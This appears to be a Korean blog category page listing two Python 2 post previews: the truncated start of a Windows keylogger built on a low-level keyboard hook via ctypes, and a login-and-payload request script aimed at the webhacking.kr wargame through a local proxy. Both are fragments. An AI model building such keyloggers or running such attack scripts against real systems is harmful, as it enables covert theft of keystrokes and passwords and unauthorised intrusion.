PYTHON2 2. Python 키로거(Keylogger) import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 CTRL_CODE = 162 saveKey=[] class keyLogger: def __init__(self): self.lUser32 = user32 self.hooked = None def installHookProc(self, pointer): self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL, pointer.. 2020. 6. 9. 1. Python 웹 크롤링 (로그인, 세션유지, 공격코드 요청_POST/GET) import requests s = requests.Session() proxyList = {'http':'127.0.0.1:8000', 'https':'127.0.0.1:8000'} def login(): url = 'https://webhacking.kr/login.php?login' login = {'id':'계정명', 'pw':'패스워드'} response = s.post(url, data=login, proxies=proxyList, verify=False) response.status_code print (response.text) def payload(): login(); TrustKey = "Secret" ; code='' for i in range(1,20): url = "https://.. 2019. 10. 30. 이전 1 다음